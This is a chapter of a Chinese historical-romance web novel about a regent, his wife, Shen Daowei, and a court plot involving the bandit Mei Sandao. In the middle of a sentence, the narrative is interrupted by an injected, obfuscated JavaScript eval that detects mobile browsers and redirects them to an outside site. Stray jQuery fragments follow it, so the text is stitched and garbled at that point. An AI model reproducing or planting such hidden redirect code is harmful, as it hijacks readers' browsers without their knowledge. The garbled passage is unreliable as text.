朝阳县廨。
唐锶谐坐在正上方翻看着各类卷宗,汪安节站在旁边侍候着。前者翻看了前些日子县衙捕快倾巢而出的记录,眼眸沉了一沉。他继续往前翻着,声音无波无澜道:“你是如何与王妃商量好的,要在摄政王府逮捕梅三刀?”
“下官并未与王妃商议,而是前些日子锦云庄的言娘子来寒舍找娘子叙旧,说了几句王妃的顾虑。我家娘子担心王妃的安危,便要我帮衬一下。”
唐锶谐若有所思:“如此说来,最初你并不知道是凤尾山上的那伙土匪来此捣乱?”
汪安节没有丝毫隐瞒:“起初不知道,后来去拜访了王妃,王妃直截了当地告诉了下官。”
“这倒奇怪了。”唐锶谐终于放下了卷宗,声调微微高了几分:“摄政王府的侍卫都是精心挑选的,难道不比你朝阳县廨的捕快身手敏捷吗?”
汪安节思忖片刻:“大抵是王妃有意帮衬下官,想让下官与摄政王认识一二。”
听到汪安节这么说,唐锶谐的视线重新回到卷宗上,语调也回归正常:“自家亲戚,认识一下也是应该的。”
汪安节没有接话。
唐锶谐道:“你在朝阳县尉这个位置上几年了?”
汪安节道:“已有两年了。”
唐锶谐道:“日后帝京的守卫就交给你了,明日起,升任禁军统领。”
汪安节大喜,立即跪地:“下官谢摄政王恩典。”
唐锶谐从座位上走下,将汪安节扶起:“不谢,本王许久不曾见到如你一般说实话的人了。”
汪安节微微一笑:“摄政王明察秋毫,下官不敢隐瞒。”
此言一出,唐锶谐顿时板起了脸:“如此说来,本王若是个昏聩无能的,你便能撒谎了不成?”
汪安节心内一惊,急忙再次跪地:“下官不敢,摄政王明察秋毫,知人善任,下官一时嘴笨,望摄政王恕罪。”
这一次,唐锶谐没有扶他起来,而是绕过他径直离开。许久之后,汪安节才从地上缓缓站起来,脸色惨白,额冒虚汗。他抬起手堪堪用袖子擦了一下,看来沈道溦说的果真没错,这个唐锶谐当真喜怒无常,不喜官场奉承那一套。
起初他还能记着沈道溦的话据实相告,后来听到自己能做禁军统领了便有些忘形,以至于简单拍了几句马屁都会被问责。
唐锶谐离开县廨后正要去地牢,才至门口便见沈道溦从里头出来,眉眼之间带着些许喜悦。方才的不快顿时烟消云散,他迎了上去,然走到半路倏地想起来了什么,眉头紧接着拧成了疙瘩,只是问道:“可有进展?”
沈道溦道:“自然,梅三刀已经答应与其背后的高人联系,诱他出来。”
唐锶谐并没有因此而感到半分喜悦,而是冷冷地开口:“如此说来,这个梅三刀也是个骨头软的,一顿鞭子再加几句好话便能将恩人出卖得干净利落。”
听到此处,沈道溦的脸色也变得有些难看了:“你什么意思?”
“这个梅三刀与宋雪砚有何不同,都是吃里扒外的东西。”
沈道溦被气笑了:“如此说来,两年前你的所作所为与今时今日有何不同?两年前你都能一边唾弃着宋雪砚的卖主求荣,一边毫不犹豫地率军进城,今日又如何犹豫不决?”
沈道溦上前一步,直勾勾地看着唐锶谐的眼睛:“莫非?你知道梅三刀背后之人系谁?”
面对沈道溦的逼问,唐锶谐别开视线,唇角翕动:“……你莫要胡思乱想,妄加揣测。”
沈道溦再次被气笑了:“究竟是谁胡思乱想,妄加揣测?背后之人系谁还没有眼见为实地看到,你便自乱了阵脚,难道不是唯恐自己的猜测成真吗?”
唐锶谐能猜到梅三刀背后之人乃是花疏叶一事,是沈道溦原本就该想到的。
他奉命出城剿匪的前一日中了催眠香,浑浑噩噩来到她房中时,她就嗅出了这种香乃是出自北蛮。
沈道溦能嗅得出,是因为前世她作为叶袭宸与北蛮人打仗时有幸见过。既然她能嗅得出,那么与她一起打仗的唐锶谐自然也能。
可他还是中了催眠香,并且是在皇宫内。当时一时失察,不知道花疏叶居然真的会对自己下手也就算了。如果过后还猜不出的话,那就只能说他是眼瞎心盲了。
就如同他现在一般,掩耳盗铃。只要不亲眼看到花疏叶将刀剑指在他脖子上,亲口说出要杀了他的话,他恐怕永远都不会相信当年那个只有四五岁的奶娃娃居然会真的想要他的命!
跟在沈道溦身后本欲出来的谢有缘和林有分听到这里也不敢再往前迈出步子了。他们纷纷对视一眼,都在对方眼中看到了不可置信。
若说前几日他们或许还可能觉得摄政王对王妃太过宠溺,以至于王妃都敢和他针锋相对。而如今他们却觉得摄政王当真是糊涂了,居然能如此自欺欺人,优柔寡断。
有句话说得好,当断不断,必受其害。
王妃与梅三刀的对话他们都听到了,心中也有了自己的判断。不错,若说除掉摄政王,对朝中谁的利益更大,皇上的确是当仁不让。
两年前的确是摄政王为皇上除掉了叶袭宸,助其复位。皇上也将朝中大事一律交给摄政王处理,自己当甩手掌柜。可如今两年过去了,物是人非,当年的君臣之义还能剩下多少。
从街上遇袭再到成亲之日公然拿摄政王取乐,最后到如今这段时间发生的种种,不难推断出让摄政王领两千兵马出城,名义上说是为剿匪,其实则是暗杀。
如若不是王妃计谋过人,她便成了梅三刀威胁摄政王的人质。如若不是王妃说服了邬桥绘制地图,那么凤尾山剿匪之行不会如此顺利。倘若摄政王在城外耽搁太久,皇上就会一点点将权力收回手里,然后转过头来对付摄政王。倘若以摄政王剿匪不力为由派兵增援,那么这些援兵就会与凤尾山上的土匪左右夹击,置摄政王为死地。
到时,不管是王妃还是他们这些护卫,所有与摄政王有关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235280|192012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的都会被绞杀殆尽。思及此处,谢有缘和林有分都不寒而栗。
他们千方百计从田间的土地一步步爬到现在这个位子,可不是为了来不明不白送死的。两人纷纷对视一眼,心中都有了算计。
沈道溦揉了揉太阳穴,心底只觉无奈透顶。
花疏玟当年可是个风华绝代的人物,早年听花疏玉提起的时候,语气里都是满满的羡慕。怎么如今却变得如此不堪大用,难道世俗意义上死过一次的人连性格也会变得如此难以捉摸吗?
她已经无力再与唐锶谐争吵下去,只道:“你打算如何处置梅三刀?”
“既然梅三刀与邬桥都已经归顺于你,你自行安排吧。”
沈道溦微微蹙眉:“当真?”
唐锶谐微微颔首:“自然当真。”他的目光看向沈道溦身后佯装不存在的谢有缘和林有分两人,“此后这两人也归你了。”
沈道溦百思不得其解。
这个唐锶谐究竟要做什么。
她之所以要特意告诉唐锶谐一声,就是因为他是摄政王,只要他看清了皇上的真面目,和他斗起来并且略占上风,自己就能浑水摸鱼。可是他现在居然让自己全权处理这件事,完全不插手了,甚至还要把自己贴身的两个护卫借给自己用。
难道是要准备放权吗?
还是说他想借自己的手除掉花疏叶?
沈道溦的眸子不由得沉了沉。
除掉花疏叶之后呢,出卖她然后公布身份自己当皇帝?
不是没有这个可能。
但是依照唐锶谐的性子,感觉又不太可能。出卖她倒是可能,毕竟宋雪砚就是一个例子,但是要他自己当皇帝感觉不太现实。如若这样的话,他没必要这么安排。
毕竟出不出卖自己,自己都是他的王妃。他可以表面上撇得清,但是在那些慧眼如炬的史官面前,绝对逃不过在史书上留下粉墨登场的一笔。
沈道溦转了转眼珠子,一个大胆却又有些匪夷所思的想法浮现脑海。她转身往回走,直到再次站在褚梅瑛面前。
褚梅瑛歪着脑袋:“王妃,摄政王可是答应了?”
她之所以答应沈道溦,就是因为明白了一件事情。比起自己更畏惧发现背后的高人乃是当今皇上,唐锶谐明显要比她更为担忧。
两年了唐锶谐都没有谋反,说他和皇上之间没有一点儿龌龊她打死都不信。倘若猜测成真,那么最痛苦的莫过于沈道溦。
毕竟她可是被蒙蔽了,这件事远比唐锶谐和一个女人不清不楚的要更加难以接受。
沈道溦只说了一句:“计划取消。”
褚梅瑛几乎要以为自己听错了,“什么?”
“取消。”沈道溦重复了一遍,随后吩咐谢有缘道:“松绑。”
又对林有分道:“去死牢里找个死囚犯过来。”
“你想做什么?”褚梅瑛捏了捏被绑得生疼的手腕子。
沈道溦神秘一笑:“做一个你。”